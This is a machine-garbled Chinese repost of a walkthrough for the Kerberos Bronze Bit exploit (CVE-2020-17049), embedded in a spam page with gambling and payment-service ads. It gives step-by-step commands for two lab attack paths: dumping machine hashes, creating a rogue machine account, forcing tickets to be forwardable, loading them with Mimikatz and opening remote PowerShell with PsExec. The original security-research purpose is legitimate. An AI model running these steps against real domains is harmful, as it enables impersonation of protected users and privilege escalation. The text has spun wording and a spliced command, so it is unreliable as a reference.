皇冠体育寻求亚洲战略合作伙伴,皇冠代理招募中,皇冠平台开放会员注册、充值、提现、电脑版下载、APP下载。

首页科技正文

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049)

admin2021-01-0623资讯

0x00 前言

本文主要说明若何针对Kerberos Bronze Bit破绽(CVE-2020-17049)举行现实行使的历程。<在>阅读这篇文章之前,我强烈建议人人首先阅读《Bronze Bit攻击理论》这篇文章,以领会这种攻击的根本原因和攻击效果。

值得关注的是,Microsoft<在>2020年11月10日公布了该破绽的补丁程序。这个补丁程序的公布将连续到2021年2月9日。以下的攻击场景中假设攻击者<在>未安装补丁的域控制器环境中举行。

Bronze Bit破绽攻击是Kerberos委派导致的其他已知攻击的一种扩展方式。此前Elad Shamir和Will Schroeder曾揭晓过文章,说明晰这些攻击方式以及行使条件。而Bronze Bit的破绽行使则是绕过了现有原始路径的两种潜<在>缓解措施,“从而提高了破绽行使的”有用性和功效性。攻击者现<在>可以< 『执行』[>以下操作:

1、攻击者可以冒充不允许委派的用户。「其中包罗」Protected Users组的成员,以及任何其他明确设置为“敏感且无法委派”的用户。

2、攻击者可以从不允许< 『执行』[>身份验证协议转换的服务提议攻击。这意味着,若是设置的服务没有TrustedToAuthForDelegation属性(<在>AD GUI中显示为“信托此用户仅委派指定的服务 - 仅使用Kerberos”),<则攻击者>可以行使破绽行使来获取票证,其效果等价于设置了TrustedToAuthForDelegation属性(<在>AD GUI中显示为“信托此用户仅委派指定的服务 - 使用任何身份验证协议”)的情形。

0x01 通用攻击路径

该破绽的一样平常攻击路径如下:

1、攻击者<在>AD环境中找到驻足点;

2、攻击者获取环境中服务的密码哈希。我们将这个服务称为Service1。攻击者可以通过多种方式获取需要的哈希,例如DC Sync攻击、Kerberoasting,甚至可以通过Powermad使用SPN确立新的盘算机帐户。

3、Service1与另一个服务具有受约束的委派信托关系。我们将其称为Service2。信托关系可以是下列之一:

  (1) Service1设置为< 『执行』[>对Service2的约束委派。也就是说,Service2<在>Service1的AllowedToDelegateTo(列表中)。

  (2) Service2设置为接受来自Service1的基于资源的约束委派。也就是说,Service1<在>Service2的PrincipalsAllowedToDelegateToAccount(列表中)。

    i. 若是攻击者对AD中的Service2工具具有写权限(GenericAll、GenericWrite、WriteOwner等),则攻击者可以将Service1添加到Service2的PrincipalsAllowedToDelegateToAccount(列表中)。这样就不再需要Elad Shamir和Will Schroeder所形貌的域治理员特权了。

4、攻击者行使该破绽仿冒为Service1,并获得Kerberos服务票证作为Service2的目的用户。

5、攻击者冒充目的用户,<向>Service2提供服务票证。攻击者现<在>已经作为目的用户<向>Service2举行身份验证,并可以<在>目的用户的权限下与Service2(举行交互)。

0x02 破绽行使

我们使用的Bronze Bit破绽行使,是由SecureAuth的优异研究人员开发的Impacket框架的扩展。现<在>已经提交合并请求,<期待能作为其中一个新>的破绽行使功效。Impacket中内置了许多精彩的功效,然则我们对其中的getST.py程序对照感兴趣。我们先不看破绽行使,回首一下之前的步骤。<在>{第}4步,我们进入到攻击路径。假设我们已经获得了Service1的哈希值,Service1与Service2的委派信托关系受到限制,我们需要实验以目的用户身份接见Service2。

可以使用getST.py程序< 『执行』[>S4U交流,并以指定用户的身份获得指定服务的服务票证。若是允许Service1< 『执行』[>协议转换(即使用TrustedToAuthForDelegation举行设置),而且未举行委派的珍爱,则< 『执行』[>历程类似如下:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第1张

使用最终的服务票证,攻击者可以模拟目的用户,并乐成与Service2(举行交互)。然则,若是不允许Service1< 『执行』[>协议转换或举行委派的防护,那么<在>S4U2self交流中获得的中心服务票证将不能转发,而且S4U2proxy请求将失败。

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第2张

-force-forwardable标志

Bronze Bit破绽行使已经实现为getST.py程序的扩展。我添加了一个新的-force-forwardable标志,可以将其作为下令行参《数通报》。若是存<在>-force-forwardable标志,则<在>S4U2self交流之后< 『执行』[>破绽行使。由KDC<在>S4U2self交流中返回的服务票证将使用Service1的历久密钥,其forwardable标志将设置为1,然后重新加密。更改后的票证将附加<在>S4U2proxy交流中,KDC将作为目的用户返回Service2的服务票证。

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第3张

绕过限制并准备好服务票证之后,攻击者就可以模拟目的用户,并与Service2(举行交互)(攻击路径中的步骤5)。

0x03 现实攻击,1

我们来看看若何举行现实攻击。<在>这里,我们将看到破绽行使是若何让我们绕过“信托此用户仅委派指定的服务-仅使用Kerberos”防护,并冒充受委派珍爱的用户。我们先要设置一些初始环境。

3.1 环境设置

我们的测试域(test.local)包罗3(台运行)Windows Server 2019版本的服务器,未安装此破绽的补丁。我们将选取Service1服务器上的User1作为驻足点来提议攻击。我们的目的是对Service2服务器具有治理接见权限的User2,。<在>这一历程中,将与所有Kerberos票证的域控制器(DC)(举行交互)。

<在>DC上,对Service1举行设置,以使其可以< 『执行』[>受约束的委派,而无需协议转换到Service2。这样一来,可以确保知足攻击路径{第}3步的条件。若是<在>AD GUI中设置了这个设置,类似于如下图示:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第4张

<在>DC上,还要更新User2用户,以防止其受到委派。可以使用“敏感且无法委派”『属性来设置该账』户,也可以将该账户作为Protected Users组成员,(任选其一即可)。

使用“敏感且无法委派”属性来设置User2帐户:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第5张

将User2添加到Protected Users组中:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第6张

3.2 < 『执行』[>攻击

{退出域控制器},以User1{身份登录}Service1服务器。这将模拟<在>环境中驻足的历程(攻击路径中的步骤1)。启动PowerShell会话,并确认User1和Service1当前无法<在>自己的授权情形下接见Service2。

下令:

    whoami
    ls \\service2.test.local\c$
    .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第7张

我们已经确认,User1无法直接接见Service2。接下来,继续攻击路径的{第}2步——获取Service1的哈希值。<在>这种情形下,我们将使用Impacket的secretsdump.py程序获取Service1机械帐户的AES256-CTS-HMAC-SHA1-96和LM:NTLM哈希。

下令:

    python .\impacket\examples\secretsdump.py 'test/user1:@Service1.test.local'

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第8张

<在>获取需要的哈希之后,我们首先实验<在>不带-force-forwardable标志的情形下< 『执行』[>getST.py程序。不出意料的话这个历程会泛起失败。如前所述,S4U2self交流仍然将服务票证返回给User2的Service1,然则由于服务的委派限(制和用)户的委派珍爱,票证的Forwardable标志没有设置。当票证<在>S4U2proxy交流中提供时,会泛起错误。

下令:

    .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第9张

,

Allbet「客户端下载」ALLbet6.com

欢迎进入Allbet「客户端下载」(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。

,

接下来,就是人人期待的时刻了,我们来运行破绽行使程序。现<在>举行的是攻击路径的{第}4步。我们将重复上一个下令,不外这次加上了-force-forwardable下令行参数。

下令:

    .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes  -aesKey  test.local/Service1 -force-forwardable

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第10张

现<在>是一个激动人心的时刻,我们可以聚焦于以下几行输出:

Service ticket from S4U2self flags: 00000000101000010000000000000000
Service ticket from S4U2self is not forwardable
Forcing the service ticket to be forwardable
Service ticket flags after modification: 01000000101000010000000000000000
Service ticket from S4U2self now is forwardable

一旦包罗-force-forwardable标志,破绽行使会自动< 『执行』[>,<并将从>S4U2self交流收到的服务票证转换为可转发的票证。这一历程会使用Service1的哈希值来解密票证,将标志值的{第}2位由0修改为1,并重新加密票证。这个可转发票证会<在>S4U2proxy交流中发送,并作为User2的Service2服务票证被返回并写入User2.ccache的磁盘。

接下来,我们使用Mimikatz将服务票证加载到票证缓存中,以供后续使用。加载后,我们看到Mimikatz确认这是User2到Service2的cifs服务的有用票证。

下令:

    .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第11张

将服务票证添加到缓存后,我们现<在>就可以像接见User2一样接见Service2了。我们拥有User2<在>Service2‘上的所有权限’。〖这里将〗使用Mark Russinovich的PSExec<在>Service2服务器上获取PowerShell会话并运行一些下令。这也就是我们攻击路径的{第}5步。

下令:

    ls \\service2.test.local\c$
    .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
    whoami
    hostname

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第12张

我们终于实现了目的。至此,〖我〗们已经改变了其中的一位,并滥用了Kerberos委派,通过模拟受珍爱的用户的方式来实现权限提升,并可以进一步攻击其他服务。

0x04 现实攻击,2

接下来,我们来探索初始条件差别的另一条攻击路径。<在>这里,我们行使AD中Service2工具的写入权限, 来实现最终的攻击[目的。

4.1 环境设置

我们继续使用上一个现实攻击所使用的环境,只需要对其稍加修改。目的User2帐户可以保留其设置为Protected Users成员的身份,或者使用“敏感且无法委派”的属性来保持其设置。

首先,删除Service1的委派权限。连接到DC,并使用“不信托此盘算机举行委派”来设置Service1。

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第13张

编辑Service2‘盘算机工具’,<向>User1 授予[写权限。<在>这里,除了我们直接授予权限,用户通常还会由于特权组的身份获得对一个或多个AD工具的写权限。这里的用户纷歧定是域治理员。

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第14张

4.2 < 『执行』[>攻击

{退出域控制器},并以User1{身份登录}Service1服务器,这样就模拟了我们<在>环境中的驻足点。若是使用的是上一次现实攻击的环境,需要确认是否已经消灭内陆Kerberos票证缓存。消灭缓存的最有用方式,就是重新启动Service1。

与前面的示例差别,<在>这次攻击中不会行使Service1和Service2之前的任何委派信托关系。<在>将Service1设置为“不信托此盘算机举行委派”之后,原有的信托关系将不再存<在>。我们需要与Service2确立新的委派关系,这是一个全新的服务。

要<在>环境中确立新的服务,我们使用的是Kevin Robertson的Powermad来确立一个新的主机帐户。这次不需要提升特权,默认情形下域中的任何一个用户都可以使用。我们将主机帐户命名为AttackerService,并设置随便密码AttackerServicePassword。

下令:

    Import-Module .\Powermad\powermad.ps1
    New-MachineAccount -MachineAccount AttackerService -Password $(ConvertTo-SecureString 'AttackerServicePassword' -AsPlainText -Force)

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第15张

由于我们选择了新主机帐户的密码,因此可以使用Mimikatz轻松盘算出响应的密码哈希。这样一来,就完成了攻击路径的步骤2。

下令:

    .\mimikatz\mimikatz.exe "kerberos::hash /password:AttackerServicePassword /user:AttackerService /domain:test.local" exit

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第16张

接下来,使用PowerShell Active Directory模块来检查新确立的主机帐户。由于该模块现<在>还处于不能用状态,因此我们需要安装响应的功效,导入该模块,然后检查新确立的盘算机帐户。

下令:

    Install-WindowsFeature RSAT-AD-PowerShell
    Import-Module ActiveDirectory
    Get-ADComputer AttackerService

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第17张

确认主机帐户存<在>滞后,我们可以<在>Service2和AttackerService之间确立约束委派信托关系。由于User1(由我们控制的驻足点帐户)具有对Service2的写权限,{以是我们可以将}AttackerService添加到Service2的PrincipalsAllowedToDelegateToAccount(列表中)。这样一来,会<在>Service2上确立基于资源的约束委派,并从AttackerService接受约束委派。完成此步骤之后,我们就知足了攻击路径{第}3步的条件。

下令:

    Set-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$
    Get-ADComputer Service2 -Properties PrincipalsAllowedToDelegateToAccount

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第18张

继续< 『执行』[>攻击路径的{第}4步,并< 『执行』[>破绽行使。我们将使用与上一个示例相同的下令,但这次指定的是AttackerService而不是Service1,随后使用Mimikatz盘算哈希值。当<在>下令中包罗-force-forwardable标志时,会看到与上一个示例相同的效果。< 『执行』[>破绽行使,设置forwardable标志,并将作为User2的Service2服务票证写入User.ccache的磁盘。

下令:

    python .\impacket\examples\getST.py -spn cifs/Service2.test.local -impersonate User2 -hashes 830f8df592f48bc036ac79a2bb8036c5:830f8df592f48bc036ac79a2bb8036c5 -aesKey 2a62271bdc6226c1106c1ed8dcb554cbf46fb99dda304c472569218c125d9ffc test.local/AttackerService -force-forwardableet-ADComputer Service2 -PrincipalsAllowedToDelegateToAccount AttackerService$

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第19张

现<在>,我们可以简朴地重复上一个示例中最后的下令。通过使用Mimikatz将服务票证加载到内陆Kerberos票证缓存中,实现攻击路径的{第}5步。然后,我们通过与Service2(举行交互)(模拟User2)来< 『执行』[>{第}5步。

下令:

    .\mimikatz\mimikatz.exe "kerberos::ptc User2.ccache" exit | Out-Null
    ls \\service2.test.local\c$
    .\PSTools\PsExec64.exe \\service2.test.local\ powershell.exe
    whoami
    hostname

< 『执行』[>:

电银付激活码(dianyinzhifu.com):现实行使Kerberos Bronze Bit《破绽绕》过委“派限制”(CVE-2020-17049) 资讯 第20张

至此,行使对Service2 AD工具的写权限作为驻足点,我们已经乐成搞定了这个服务。

本文翻译自:https://blog.netspi.com/cve-2020-17049-kerberos-bronze-bit-attack/:

网友评论

1条评论
  • 2021-01-06 00:26:29

    阳光在线官网阳光在线官网(原诚信在线官网)现已开放阳光在线电脑版、手机版下载、企业邮局登录、会员开户、代理合作等服务。绝世好网站,看文必备